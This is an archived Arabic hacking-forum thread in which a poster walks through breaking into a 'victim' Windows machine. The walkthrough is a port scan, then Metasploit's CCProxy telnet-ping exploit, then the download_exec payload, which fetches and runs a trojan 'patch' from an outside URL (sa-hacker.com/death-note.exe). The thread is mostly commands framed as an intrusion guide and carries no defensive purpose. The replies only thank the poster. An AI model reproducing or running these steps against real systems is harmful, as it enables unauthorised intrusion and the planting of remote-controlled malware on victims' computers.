:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   شرح إستغلال ثغره سي بروكسي < اخترآق المسستهـدف ! (http://www.vbspiders.com/vb/t27683.html)

mayck 04-17-2010 10:55 PM

شرح إستغلال ثغره سي بروكسي < اخترآق المسستهـدف !
 


شـرح إستغلآل ثغرهـ سسي بـروكسسي لإخترآق الجهـآز المسستهدف [!!] .....|
ـأول ششي نسـوي سكآن علـى الإيبي ونشـوف بورت البرنـآمج مفـتوح فـيه ولآلآ:
بنسوي سكان بأداه {auxiliary}
بـورت الـسي بروكسي الإفترآضضي هو 23
[+]show auxiliary


scanner/portscan/tcp[+]


use scanner/portscan/tcp[+]


show options[+]


Ports :لتحديد البورتات الي بنفحصهـآ
[+]rhost :ايبي المستهدف [الضحيه]ض1

set ports 23-23


set RHOST 192.168.1.2~ مثآل فقـط على آيبي الضـحيه !!

run
tcp open 192.168.1.2:23

البورت مفتوح ,حلو الحين نسوي
[+] show exploits

ثـم نختـآر
windows/proxy/ccproxy_telnet_ping[+]

ثـم
use windows/proxy/ccproxy_telnet_ping
هذه الصورة تم اعادة تحجيمها اضغط على الشريط الاصفر للحصول على الحجم الاصلي حجم الصورة الاصلي هو 646x34 ومساحتها 1 كيلو بايت


!! ملاحظـه :طبعاً يمـديك إختـرآق الجهـآز ببآتش
مـن خلآل الـpayloads
طبعاً لو تبي تظهـر البآيلودز كلهم إكتب show payloads ^_+

, وإذا تبي تسوي البآيلود الفلآني تحط use payload
o_O
إسم البآيلود الي يخلينا نرفع البآتشش
widows/download_exec

[+]set payload windows/download_exec

ـأوكي الحين بعد ماحطينا البآيلود حق الرفـع نضغـط
[+]show options
هذه الصورة تم اعادة تحجيمها اضغط على الشريط الاصفر للحصول على الحجم الاصلي حجم الصورة الاصلي هو 688x246 ومساحتها 23 كيلو بايت

مثل مآقلنا
rhost : الضحيـه [الهدف] ض1
ports : 23 االبورت الي هو حق السي بروكسي
url : رآببط بآآتششششك المبـآآآششششر
ـأوكي الحين
set RHOST 192.168.1.2 ؛ نحط ايبي الضحـيه

نضغط إنتر , والحين نحط البآآتشش
set Url www.sa-hacker.com/death-note.exe

ثم show options

هذه الصورة تم اعادة تحجيمها اضغط على الشريط الاصفر للحصول على الحجم الاصلي حجم الصورة الاصلي هو 702x248 ومساحتها 7 كيلو بايت

طلع مـكتوب Yes
تمـآم ^^
مبـرووك عليك الإخترآق . لكن لاتنسى عشآن تشتغل الثغره تمام التمام تكت فـ الإخير
exploit






D-GhosT s3cur!Ty-Z 04-19-2010 03:32 AM

woow
مشكور خيو واصل ابداعك

تـوـوبـآك هـكـرـر 04-21-2010 03:21 PM

[align=right]جزاك الف خيير [/align][align=center][/align]

احمد صيام 04-27-2010 05:02 AM

مجهود جبار جزاك ربي كل خير


الساعة الآن 06:57 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0